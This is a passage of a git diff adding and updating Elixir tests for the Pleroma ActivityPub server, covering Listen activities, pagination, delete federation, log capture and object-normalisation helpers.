"application/activity+json") +      |> assign(:user, user) +      |> get(activity_path) +      |> json_response(200) + +      build_conn() +      |> put_req_header("accept", "application/activity+json") +      |> assign(:user, other_user) +      |> get(activity_path) +      |> json_response(200) + +      assert Delivery.get(object.id, user.id) +      assert Delivery.get(object.id, other_user.id) +    end +  end  end diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 67dfb9394..3e6f389bc 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -38,9 +38,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do          stream: fn _, _ -> nil end do          ActivityPub.stream_out_participations(conversation.participations) -        Enum.each(participations, fn participation -> -          assert called(Pleroma.Web.Streamer.stream("participation", participation)) -        end) +        assert called(Pleroma.Web.Streamer.stream("participation", participations))        end      end    end @@ -259,6 +257,42 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do      end    end +  describe "listen activities" do +    test "does not increase user note count" do +      user = insert(:user) + +      {:ok, activity} = +        ActivityPub.listen(%{ +          to: ["https://www.w3.org/ns/activitystreams#Public"], +          actor: user, +          context: "", +          object: %{ +            "actor" => user.ap_id, +            "to" => ["https://www.w3.org/ns/activitystreams#Public"], +            "artist" => "lain", +            "title" => "lain radio episode 1", +            "length" => 180_000, +            "type" => "Audio" +          } +        }) + +      assert activity.actor == user.ap_id + +      user = User.get_cached_by_id(user.id) +      assert user.info.note_count == 0 +    end + +    test "can be fetched into a timeline" do +      _listen_activity_1 = insert(:listen) +      _listen_activity_2 = insert(:listen) +      _listen_activity_3 = insert(:listen) + +      timeline = ActivityPub.fetch_activities([], %{"type" => ["Listen"]}) + +      assert length(timeline) == 3 +    end +  end +    describe "create activities" do      test "removes doubled 'to' recipients" do        user = insert(:user) @@ -649,6 +683,21 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do        assert last == last_expected      end +    test "paginates via offset/limit" do +      _first_activities = ActivityBuilder.insert_list(10) +      activities = ActivityBuilder.insert_list(10) +      _later_activities = ActivityBuilder.insert_list(10) +      first_expected = List.first(activities) + +      activities = +        ActivityPub.fetch_public_activities(%{"page" => "2", "page_size" => "20"}, :offset) + +      first = List.first(activities) + +      assert length(activities) == 20 +      assert first == first_expected +    end +      test "doesn't return reblogs for users for whom reblogs have been muted" do        activity = insert(:note_activity)        user = insert(:user) @@ -708,7 +757,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do        user = insert(:user)        {:ok, like_activity, _object} = ActivityPub.like(user, object_activity) -      assert called(Pleroma.Web.Federator.publish(like_activity, 5)) +      assert called(Pleroma.Web.Federator.publish(like_activity))      end      test "returns exist activity if object already liked" do @@ -769,7 +818,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do        {:ok, unlike_activity, _, object} = ActivityPub.unlike(user, object)        assert object.data["like_count"] == 0 -      assert called(Pleroma.Web.Federator.publish(unlike_activity, 5)) +      assert called(Pleroma.Web.Federator.publish(unlike_activity))      end      test "unliking a previously liked object" do diff --git a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs index 372e789be..95a809d25 100644 --- a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs +++ b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs @@ -6,6 +6,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do    use Pleroma.DataCase    alias Pleroma.HTTP +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy    import Mock @@ -24,6 +25,11 @@ defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do    test "it prefetches media proxy URIs" do      with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do        MediaProxyWarmingPolicy.filter(@message) + +      ObanHelpers.perform_all() +      # Performing jobs which has been just enqueued +      ObanHelpers.perform_all() +        assert called(HTTP.get(:_, :_, :_))      end    end diff --git a/test/web/activity_pub/publisher_test.exs b/test/web/activity_pub/publisher_test.exs index 36a39c84c..df03b4008 100644 --- a/test/web/activity_pub/publisher_test.exs +++ b/test/web/activity_pub/publisher_test.exs @@ -3,15 +3,18 @@  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.ActivityPub.PublisherTest do -  use Pleroma.DataCase +  use Pleroma.Web.ConnCase +  import ExUnit.CaptureLog    import Pleroma.Factory    import Tesla.Mock    import Mock    alias Pleroma.Activity    alias Pleroma.Instances +  alias Pleroma.Object    alias Pleroma.Web.ActivityPub.Publisher +  alias Pleroma.Web.CommonAPI    @as_public "https://www.w3.org/ns/activitystreams#Public" @@ -188,7 +191,10 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do        actor = insert(:user)        inbox = "http://connrefused.site/users/nick1/inbox" -      assert {:error, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) +      assert capture_log(fn -> +               assert {:error, _} = +                        Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) +             end) =~ "connrefused"        assert called(Instances.set_unreachable(inbox))      end @@ -212,14 +218,16 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do        actor = insert(:user)        inbox = "http://connrefused.site/users/nick1/inbox" -      assert {:error, _} = -               Publisher.publish_one(%{ -                 inbox: inbox, -                 json: "{}", -                 actor: actor, -                 id: 1, -                 unreachable_since: NaiveDateTime.utc_now() -               }) +      assert capture_log(fn -> +               assert {:error, _} = +                        Publisher.publish_one(%{ +                          inbox: inbox, +                          json: "{}", +                          actor: actor, +                          id: 1, +                          unreachable_since: NaiveDateTime.utc_now() +                        }) +             end) =~ "connrefused"        refute called(Instances.set_unreachable(inbox))      end @@ -257,10 +265,74 @@ defmodule Pleroma.Web.ActivityPub.PublisherTest do        assert called(                 Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{                   inbox: "https://domain.com/users/nick1/inbox", -                 actor: actor, +                 actor_id: actor.id,                   id: note_activity.data["id"]                 })               )      end + +    test_with_mock "publishes a delete activity to peers who signed fetch requests to the create acitvity/object.", +                   Pleroma.Web.Federator.Publisher, +                   [:passthrough], +                   [] do +      fetcher = +        insert(:user, +          local: false, +          info: %{ +            ap_enabled: true, +            source_data: %{"inbox" => "https://domain.com/users/nick1/inbox"} +          } +        ) + +      another_fetcher = +        insert(:user, +          local: false, +          info: %{ +            ap_enabled: true, +            source_data: %{"inbox" => "https://domain2.com/users/nick1/inbox"} +          } +        ) + +      actor = insert(:user) + +      note_activity = insert(:note_activity, user: actor) +      object = Object.normalize(note_activity) + +      activity_path = String.trim_leading(note_activity.data["id"], Pleroma.Web.Endpoint.url()) +      object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + +      build_conn() +      |> put_req_header("accept", "application/activity+json") +      |> assign(:user, fetcher) +      |> get(object_path) +      |> json_response(200) + +      build_conn() +      |> put_req_header("accept", "application/activity+json") +      |> assign(:user, another_fetcher) +      |> get(activity_path) +      |> json_response(200) + +      {:ok, delete} = CommonAPI.delete(note_activity.id, actor) + +      res = Publisher.publish(actor, delete) +      assert res == :ok + +      assert called( +               Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ +                 inbox: "https://domain.com/users/nick1/inbox", +                 actor_id: actor.id, +                 id: delete.data["id"] +               }) +             ) + +      assert called( +               Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ +                 inbox: "https://domain2.com/users/nick1/inbox", +                 actor_id: actor.id, +                 id: delete.data["id"] +               }) +             ) +    end    end  end diff --git a/test/web/activity_pub/relay_test.exs b/test/web/activity_pub/relay_test.exs index 4f7d592a6..0f7556538 100644 --- a/test/web/activity_pub/relay_test.exs +++ b/test/web/activity_pub/relay_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.ActivityPub.RelayTest do @@ -10,6 +10,7 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do    alias Pleroma.Web.ActivityPub.ActivityPub    alias Pleroma.Web.ActivityPub.Relay +  import ExUnit.CaptureLog    import Pleroma.Factory    import Mock @@ -20,7 +21,9 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do    describe "follow/1" do      test "returns errors when user not found" do -      assert Relay.follow("test-ap-id") == {:error, "Could not fetch by AP id"} +      assert capture_log(fn -> +               assert Relay.follow("test-ap-id") == {:error, "Could not fetch by AP id"} +             end) =~ "Could not fetch by AP id"      end      test "returns activity" do @@ -37,7 +40,9 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do    describe "unfollow/1" do      test "returns errors when user not found" do -      assert Relay.unfollow("test-ap-id") == {:error, "Could not fetch by AP id"} +      assert capture_log(fn -> +               assert Relay.unfollow("test-ap-id") == {:error, "Could not fetch by AP id"} +             end) =~ "Could not fetch by AP id"      end      test "returns activity" do @@ -78,7 +83,9 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do            }          ) -      assert Relay.publish(activity) == {:error, nil} +      assert capture_log(fn -> +               assert Relay.publish(activity) == {:error, nil} +             end) =~ "[error] error: nil"      end      test_with_mock "returns announce activity and publish to federate", @@ -92,7 +99,7 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do        assert activity.data["type"] == "Announce"        assert activity.data["actor"] == service_actor.ap_id        assert activity.data["object"] == obj.data["id"] -      assert called(Pleroma.Web.Federator.publish(activity, 5)) +      assert called(Pleroma.Web.Federator.publish(activity))      end      test_with_mock "returns announce activity and not publish to federate", @@ -106,7 +113,7 @@ defmodule Pleroma.Web.ActivityPub.RelayTest do        assert activity.data["type"] == "Announce"        assert activity.data["actor"] == service_actor.ap_id        assert activity.data["object"] == obj.data["id"] -      refute called(Pleroma.Web.Federator.publish(activity, 5)) +      refute called(Pleroma.Web.Federator.publish(activity))      end    end  end diff --git a/test/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/web/activity_pub/transmogrifier/follow_handling_test.exs index fe89f7cb0..99ab573c5 100644 --- a/test/web/activity_pub/transmogrifier/follow_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/follow_handling_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index 136c8034c..ba2a43296 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do @@ -8,6 +8,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do    alias Pleroma.Object    alias Pleroma.Object.Fetcher    alias Pleroma.Repo +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.User    alias Pleroma.Web.ActivityPub.ActivityPub    alias Pleroma.Web.ActivityPub.Transmogrifier @@ -176,6 +177,35 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do               end)      end +    test "it works for incoming listens" do +      data = %{ +        "@context" => "https://www.w3.org/ns/activitystreams", +        "to" => ["https://www.w3.org/ns/activitystreams#Public"], +        "cc" => [], +        "type" => "Listen", +        "id" => "http://mastodon.example.org/users/admin/listens/1234/activity", +        "actor" => "http://mastodon.example.org/users/admin", +        "object" => %{ +          "type" => "Audio", +          "id" => "http://mastodon.example.org/users/admin/listens/1234", +          "attributedTo" => "http://mastodon.example.org/users/admin", +          "title" => "lain radio episode 1", +          "artist" => "lain", +          "album" => "lain radio", +          "length" => 180_000 +        } +      } + +      {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + +      object = Object.normalize(activity) + +      assert object.data["title"] == "lain radio episode 1" +      assert object.data["artist"] == "lain" +      assert object.data["album"] == "lain radio" +      assert object.data["length"] == 180_000 +    end +      test "it rewrites Note votes to Answers and increments vote counters on question activities" do        user = insert(:user) @@ -680,6 +710,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do          |> Poison.decode!()        {:ok, _} = Transmogrifier.handle_incoming(data) +      ObanHelpers.perform_all()        refute User.get_cached_by_ap_id(ap_id)      end @@ -1220,6 +1251,20 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do        assert is_nil(modified["bcc"])      end + +    test "it can handle Listen activities" do +      listen_activity = insert(:listen) + +      {:ok, modified} = Transmogrifier.prepare_outgoing(listen_activity.data) + +      assert modified["type"] == "Listen" + +      user = insert(:user) + +      {:ok, activity} = CommonAPI.listen(user, %{"title" => "lain radio episode 1"}) + +      {:ok, modified} = Transmogrifier.prepare_outgoing(activity.data) +    end    end    describe "user upgrade" do @@ -1242,6 +1287,8 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do        assert user.info.note_count == 1        {:ok, user} = Transmogrifier.upgrade_user_from_ap_id("https://niu.moe/users/rye") +      ObanHelpers.perform_all() +        assert user.info.ap_enabled        assert user.info.note_count == 1        assert user.follower_address == "https://niu.moe/users/rye/followers" @@ -1483,4 +1530,271 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do        refute recipient.follower_address in fixed_object["to"]      end    end + +  describe "fix_summary/1" do +    test "returns fixed object" do +      assert Transmogrifier.fix_summary(%{"summary" => nil}) == %{"summary" => ""} +      assert Transmogrifier.fix_summary(%{"summary" => "ok"}) == %{"summary" => "ok"} +      assert Transmogrifier.fix_summary(%{}) == %{"summary" => ""} +    end +  end + +  describe "fix_in_reply_to/2" do +    clear_config([:instance, :federation_incoming_replies_max_depth]) + +    setup do +      data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) +      [data: data] +    end + +    test "returns not modified object when hasn't containts inReplyTo field", %{data: data} do +      assert Transmogrifier.fix_in_reply_to(data) == data +    end + +    test "returns object with inReplyToAtomUri when denied incoming reply", %{data: data} do +      Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + +      object_with_reply = +        Map.put(data["object"], "inReplyTo", "https://shitposter.club/notice/2827873") + +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) +      assert modified_object["inReplyTo"] == "https://shitposter.club/notice/2827873" +      assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + +      object_with_reply = +        Map.put(data["object"], "inReplyTo", %{"id" => "https://shitposter.club/notice/2827873"}) + +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) +      assert modified_object["inReplyTo"] == %{"id" => "https://shitposter.club/notice/2827873"} +      assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + +      object_with_reply = +        Map.put(data["object"], "inReplyTo", ["https://shitposter.club/notice/2827873"]) + +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) +      assert modified_object["inReplyTo"] == ["https://shitposter.club/notice/2827873"] +      assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + +      object_with_reply = Map.put(data["object"], "inReplyTo", []) +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) +      assert modified_object["inReplyTo"] == [] +      assert modified_object["inReplyToAtomUri"] == "" +    end + +    test "returns modified object when allowed incoming reply", %{data: data} do +      object_with_reply = +        Map.put( +          data["object"], +          "inReplyTo", +          "https://shitposter.club/notice/2827873" +        ) + +      Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 5) +      modified_object = Transmogrifier.fix_in_reply_to(object_with_reply) + +      assert modified_object["inReplyTo"] == +               "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + +      assert modified_object["inReplyToAtomUri"] == "https://shitposter.club/notice/2827873" + +      assert modified_object["conversation"] == +               "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" + +      assert modified_object["context"] == +               "tag:shitposter.club,2017-05-05:objectType=thread:nonce=3c16e9c2681f6d26" +    end +  end + +  describe "fix_url/1" do +    test "fixes data for object when url is map" do +      object = %{ +        "url" => %{ +          "type" => "Link", +          "mimeType" => "video/mp4", +          "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" +        } +      } + +      assert Transmogrifier.fix_url(object) == %{ +               "url" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" +             } +    end + +    test "fixes data for video object" do +      object = %{ +        "type" => "Video", +        "url" => [ +          %{ +            "type" => "Link", +            "mimeType" => "video/mp4", +            "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4" +          }, +          %{ +            "type" => "Link", +            "mimeType" => "video/mp4", +            "href" => "https://peertube46fb-ad81-2d4c2d1630e3-240.mp4" +          }, +          %{ +            "type" => "Link", +            "mimeType" => "text/html", +            "href" => "https://peertube.-2d4c2d1630e3" +          }, +          %{ +            "type" => "Link", +            "mimeType" => "text/html", +            "href" => "https://peertube.-2d4c2d16377-42" +          } +        ] +      } + +      assert Transmogrifier.fix_url(object) == %{ +               "attachment" => [ +                 %{ +                   "href" => "https://peede8d-46fb-ad81-2d4c2d1630e3-480.mp4", +                   "mimeType" => "video/mp4", +                   "type" => "Link" +                 } +               ], +               "type" => "Video", +               "url" => "https://peertube.-2d4c2d1630e3" +             } +    end + +    test "fixes url for not Video object" do +      object = %{ +        "type" => "Text", +        "url" => [ +          %{ +            "type" => "Link", +            "mimeType" => "text/html", +            "href" => "https://peertube.-2d4c2d1630e3" +          }, +          %{ +            "type" => "Link", +            "mimeType" => "text/html", +            "href" => "https://peertube.-2d4c2d16377-42" +          } +        ] +      } + +      assert Transmogrifier.fix_url(object) == %{ +               "type" => "Text", +               "url" => "https://peertube.-2d4c2d1630e3" +             } + +      assert Transmogrifier.fix_url(%{"type" => "Text", "url" => []}) == %{ +               "type" => "Text", +               "url" => "" +             } +    end + +    test "retunrs not modified object" do +      assert Transmogrifier.fix_url(%{"type" => "Text"}) == %{"type" => "Text"} +    end +  end + +  describe "get_obj_helper/2" do +    test "returns nil when cannot normalize object" do +      refute Transmogrifier.get_obj_helper("test-obj-id") +    end + +    test "returns {:ok, %Object{}} for success case" do +      assert {:ok, %Object{}} = +               Transmogrifier.get_obj_helper("https://shitposter.club/notice/2827873") +    end +  end + +  describe "fix_attachments/1" do +    test "returns not modified object" do +      data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) +      assert Transmogrifier.fix_attachments(data) == data +    end + +    test "returns modified object when attachment is map" do +      assert Transmogrifier.fix_attachments(%{ +               "attachment" => %{ +                 "mediaType" => "video/mp4", +                 "url" => "https://peertube.moe/stat-480.mp4" +               } +             }) == %{ +               "attachment" => [ +                 %{ +                   "mediaType" => "video/mp4", +                   "url" => [ +                     %{ +                       "href" => "https://peertube.moe/stat-480.mp4", +                       "mediaType" => "video/mp4", +                       "type" => "Link" +                     } +                   ] +                 } +               ] +             } +    end + +    test "returns modified object when attachment is list" do +      assert Transmogrifier.fix_attachments(%{ +               "attachment" => [ +                 %{"mediaType" => "video/mp4", "url" => "https://pe.er/stat-480.mp4"}, +                 %{"mimeType" => "video/mp4", "href" => "https://pe.er/stat-480.mp4"} +               ] +             }) == %{ +               "attachment" => [ +                 %{ +                   "mediaType" => "video/mp4", +                   "url" => [ +                     %{ +                       "href" => "https://pe.er/stat-480.mp4", +                       "mediaType" => "video/mp4", +                       "type" => "Link" +                     } +                   ] +                 }, +                 %{ +                   "href" => "https://pe.er/stat-480.mp4", +                   "mediaType" => "video/mp4", +                   "mimeType" => "video/mp4", +                   "url" => [ +                     %{ +                       "href" => "https://pe.er/stat-480.mp4", +                       "mediaType" => "video/mp4", +                       "type" => "Link" +                     } +                   ] +                 } +               ] +             } +    end +  end + +  describe "fix_emoji/1" do +    test "returns not modified object when object not contains tags" do +      data = Poison.decode!(File.read!("test/fixtures/mastodon-post-activity.json")) +      assert Transmogrifier.fix_emoji(data) == data +    end + +    test "returns object with emoji when object contains list tags" do +      assert Transmogrifier.fix_emoji(%{ +               "tag" => [ +                 %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}}, +                 %{"type" => "Hashtag"} +               ] +             }) == %{ +               "emoji" => %{"bib" => "/test"}, +               "tag" => [ +                 %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"}, +                 %{"type" => "Hashtag"} +               ] +             } +    end + +    test "returns object with emoji when object contains map tag" do +      assert Transmogrifier.fix_emoji(%{ +               "tag" => %{"type" => "Emoji", "name" => ":bib:", "icon" => %{"url" => "/test"}} +             }) == %{ +               "emoji" => %{"bib" => "/test"}, +               "tag" => %{"icon" => %{"url" => "/test"}, "name" => ":bib:", "type" => "Emoji"} +             } +    end +  end  end diff --git a/test/web/activity_pub/utils_test.exs b/test/web/activity_pub/utils_test.exs index eb429b2c4..b1c1d6f71 100644 --- a/test/web/activity_pub/utils_test.exs +++ b/test/web/activity_pub/utils_test.exs @@ -87,6 +87,18 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do        assert Utils.determine_explicit_mentions(object) == []      end + +    test "works with an object has tags as map" do +      object = %{ +        "tag" => %{ +          "type" => "Mention", +          "href" => "https://example.com/~alyssa", +          "name" => "Alyssa P. Hacker" +        } +      } + +      assert Utils.determine_explicit_mentions(object) == ["https://example.com/~alyssa"] +    end    end    describe "make_unlike_data/3" do @@ -300,8 +312,8 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do        {:ok, follow_activity_two} =          Utils.update_follow_state_for_all(follow_activity_two, "accept") -      assert Repo.get(Activity, follow_activity.id).data["state"] == "accept" -      assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept" +      assert refresh_record(follow_activity).data["state"] == "accept" +      assert refresh_record(follow_activity_two).data["state"] == "accept"      end    end @@ -323,8 +335,8 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do        {:ok, follow_activity_two} = Utils.update_follow_state(follow_activity_two, "reject") -      assert Repo.get(Activity, follow_activity.id).data["state"] == "pending" -      assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject" +      assert refresh_record(follow_activity).data["state"] == "pending" +      assert refresh_record(follow_activity_two).data["state"] == "reject"      end    end @@ -401,4 +413,216 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do        assert ^like_activity = Utils.get_existing_like(user.ap_id, object)      end    end + +  describe "get_get_existing_announce/2" do +    test "returns nil if announce not found" do +      actor = insert(:user) +      refute Utils.get_existing_announce(actor.ap_id, %{data: %{"id" => "test"}}) +    end + +    test "fetches existing announce" do +      note_activity = insert(:note_activity) +      assert object = Object.normalize(note_activity) +      actor = insert(:user) + +      {:ok, announce, _object} = ActivityPub.announce(actor, object) +      assert Utils.get_existing_announce(actor.ap_id, object) == announce +    end +  end + +  describe "fetch_latest_block/2" do +    test "fetches last block activities" do +      user1 = insert(:user) +      user2 = insert(:user) + +      assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2) +      assert {:ok, %Activity{} = _} = ActivityPub.block(user1, user2) +      assert {:ok, %Activity{} = activity} = ActivityPub.block(user1, user2) + +      assert Utils.fetch_latest_block(user1, user2) == activity +    end +  end + +  describe "recipient_in_message/3" do +    test "returns true when recipient in `to`" do +      recipient = insert(:user) +      actor = insert(:user) +      assert Utils.recipient_in_message(recipient, actor, %{"to" => recipient.ap_id}) + +      assert Utils.recipient_in_message( +               recipient, +               actor, +               %{"to" => [recipient.ap_id], "cc" => ""} +             ) +    end + +    test "returns true when recipient in `cc`" do +      recipient = insert(:user) +      actor = insert(:user) +      assert Utils.recipient_in_message(recipient, actor, %{"cc" => recipient.ap_id}) + +      assert Utils.recipient_in_message( +               recipient, +               actor, +               %{"cc" => [recipient.ap_id], "to" => ""} +             ) +    end + +    test "returns true when recipient in `bto`" do +      recipient = insert(:user) +      actor = insert(:user) +      assert Utils.recipient_in_message(recipient, actor, %{"bto" => recipient.ap_id}) + +      assert Utils.recipient_in_message( +               recipient, +               actor, +               %{"bcc" => "", "bto" => [recipient.ap_id]} +             ) +    end + +    test "returns true when recipient in `bcc`" do +      recipient = insert(:user) +      actor = insert(:user) +      assert Utils.recipient_in_message(recipient, actor, %{"bcc" => recipient.ap_id}) + +      assert Utils.recipient_in_message( +               recipient, +               actor, +               %{"bto" => "", "bcc" => [recipient.ap_id]} +             ) +    end + +    test "returns true when message without addresses fields" do +      recipient = insert(:user) +      actor = insert(:user) +      assert Utils.recipient_in_message(recipient, actor, %{"bccc" => recipient.ap_id}) + +      assert Utils.recipient_in_message( +               recipient, +               actor, +               %{"btod" => "", "bccc" => [recipient.ap_id]} +             ) +    end + +    test "returns false" do +      recipient = insert(:user) +      actor = insert(:user) +      refute Utils.recipient_in_message(recipient, actor, %{"to" => "ap_id"}) +    end +  end + +  describe "lazy_put_activity_defaults/2" do +    test "returns map with id and published data" do +      note_activity = insert(:note_activity) +      object = Object.normalize(note_activity) +      res = Utils.lazy_put_activity_defaults(%{"context" => object.data["id"]}) +      assert res["context"] == object.data["id"] +      assert res["context_id"] == object.id +      assert res["id"] +      assert res["published"] +    end + +    test "returns map with fake id and published data" do +      assert %{ +               "context" => "pleroma:fakecontext", +               "context_id" => -1, +               "id" => "pleroma:fakeid", +               "published" => _ +             } = Utils.lazy_put_activity_defaults(%{}, true) +    end + +    test "returns activity data with object" do +      note_activity = insert(:note_activity) +      object = Object.normalize(note_activity) + +      res = +        Utils.lazy_put_activity_defaults(%{ +          "context" => object.data["id"], +          "object" => %{} +        }) + +      assert res["context"] == object.data["id"] +      assert res["context_id"] == object.id +      assert res["id"] +      assert res["published"] +      assert res["object"]["id"] +      assert res["object"]["published"] +      assert res["object"]["context"] == object.data["id"] +      assert res["object"]["context_id"] == object.id +    end +  end + +  describe "make_flag_data" do +    test "returns empty map when params is invalid" do +      assert Utils.make_flag_data(%{}, %{}) == %{} +    end + +    test "returns map with Flag object" do +      reporter = insert(:user) +      target_account = insert(:user) +      {:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"}) +      context = Utils.generate_context_id() +      content = "foobar" + +      target_ap_id = target_account.ap_id +      activity_ap_id = activity.data["id"] + +      res = +        Utils.make_flag_data( +          %{ +            actor: reporter, +            context: context, +            account: target_account, +            statuses: [%{"id" => activity.data["id"]}], +            content: content +          }, +          %{} +        ) + +      assert %{ +               "type" => "Flag", +               "content" => ^content, +               "context" => ^context, +               "object" => [^target_ap_id, ^activity_ap_id], +               "state" => "open" +             } = res +    end +  end + +  describe "add_announce_to_object/2" do +    test "adds actor to announcement" do +      user = insert(:user) +      object = insert(:note) + +      activity = +        insert(:note_activity, +          data: %{ +            "actor" => user.ap_id, +            "cc" => [Pleroma.Constants.as_public()] +          } +        ) + +      assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object) +      assert updated_object.data["announcements"] == [user.ap_id] +      assert updated_object.data["announcement_count"] == 1 +    end +  end + +  describe "remove_announce_from_object/2" do +    test "removes actor from announcements" do +      user = insert(:user) +      user2 = insert(:user) + +      object = +        insert(:note, +          data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2} +        ) + +      activity = insert(:note_activity, data: %{"actor" => user.ap_id}) + +      assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object) +      assert updated_object.data["announcements"] == [user2.ap_id] +      assert updated_object.data["announcement_count"] == 1 +    end +  end  end diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs index fb7fd9e79..3155749aa 100644 --- a/test/web/activity_pub/views/user_view_test.exs +++ b/test/web/activity_pub/views/user_view_test.exs @@ -37,6 +37,22 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do             } = UserView.render("user.json", %{user: user})    end +  test "Renders with emoji tags" do +    user = insert(:user, %{info: %{emoji: [%{"bib" => "/test"}]}}) + +    assert %{ +             "tag" => [ +               %{ +                 "icon" => %{"type" => "Image", "url" => "/test"}, +                 "id" => "/test", +                 "name" => ":bib:", +                 "type" => "Emoji", +                 "updated" => "1970-01-01T00:00:00Z" +               } +             ] +           } = UserView.render("user.json", %{user: user}) +  end +    test "Does not add an avatar image if the user hasn't set one" do      user = insert(:user)      {:ok, user} = User.ensure_keys_present(user) @@ -105,10 +121,20 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do        other_user = insert(:user)        {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)        assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) -      info = Map.put(user.info, :hide_followers, true) +      info = Map.merge(user.info, %{hide_followers_count: true, hide_followers: true})        user = Map.put(user, :info, info)        assert %{"totalItems" => 0} = UserView.render("followers.json", %{user: user})      end + +    test "sets correct totalItems when followers are hidden but the follower counter is not" do +      user = insert(:user) +      other_user = insert(:user) +      {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) +      assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) +      info = Map.merge(user.info, %{hide_followers_count: false, hide_followers: true}) +      user = Map.put(user, :info, info) +      assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) +    end    end    describe "following" do @@ -117,9 +143,50 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do        other_user = insert(:user)        {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)        assert %{"totalItems" => 1} = UserView.render("following.json", 